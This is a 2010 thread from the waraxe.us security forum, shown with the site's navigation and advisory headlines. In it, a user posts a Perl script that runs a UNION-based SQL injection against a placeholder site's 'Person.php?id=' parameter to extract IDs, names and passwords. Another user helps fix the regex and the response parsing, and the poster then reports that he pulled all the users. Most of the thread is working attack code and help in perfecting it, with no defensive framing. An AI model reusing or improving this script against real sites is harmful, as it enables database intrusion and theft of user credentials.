Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 181
Members: 0
Total: 181
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Perl SQL injection exploit
Post new topicReply to topic View previous topic :: View next topic
Perl SQL injection exploit
PostPosted: Wed May 26, 2010 9:42 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




Im writing a exploit and wondering if anyone can perfect this exploit because im gettting no usernaem or password

heres it
Code:

#!/usr/bin/perl -w
use LWP::UserAgent;
my $host = "http://www.blahblahblah.com/blahblah/";
my $target = "Person.php?id=";
my $sql = "225%20union%20all%20select%201,group_concat

(id,0x7c,First,0x3a,Last,0x3a,Password)%20from%20person--";
my $hack = $host.$target.$sql;
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $ua->request(HTTP::Request->new(GET=>$hack));
my $answer = $req->content;
if($answer =~ /First:(.*)|Password:(.)</) {
print "[+] exploit succeed fetching admin cridentials\n";
sleep(3);
print "admin username: $1\n";
}



did i make any mistakes in the code above?

in the sql tables there are a First(first name) and THe password as Password..im just trying to grab those and put them in my results......
View user's profile Send private message
PostPosted: Wed May 26, 2010 10:08 am Reply with quote
vince213333
Advanced user
Advanced user
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




I don't really get your regular expression
Code:
if($answer =~ /First:(.*)|Password:(.)</)


Your SQL query is:
Code:
(id,0x7c,First,0x3a,Last,0x3a,Password)

Which will output something like:
Code:
1|John:Doe:MyPass


But I believe you expect the result of the query to be:
Code:
id:1|First:John|Last:Doe|Password:MyPass


Try changing your regex to
Code:
if($answer =~ /(.+)|(.+):(.+)/)


Not 100% sure but I believe it should be something like that. Didn't write any perl for a while though Smile
View user's profile Send private message
PostPosted: Wed May 26, 2010 10:50 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




I wish i could get this to work....for skills but the output is not what i need

admin username: <html>
View user's profile Send private message
PostPosted: Wed May 26, 2010 11:07 am Reply with quote
vince213333
Advanced user
Advanced user
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




I think I know what the problem is. You get the content of the webpage (starting with the <html> tag), but you don't cycle through each line, you only check the first line with your regular expression Smile

I believe you should put the $req->content in an array and then process it in a foreach loop.
View user's profile Send private message
PostPosted: Wed May 26, 2010 11:22 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




i got them all..all the user from fixing the sql query.
View user's profile Send private message
Perl SQL injection exploit
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.325 Seconds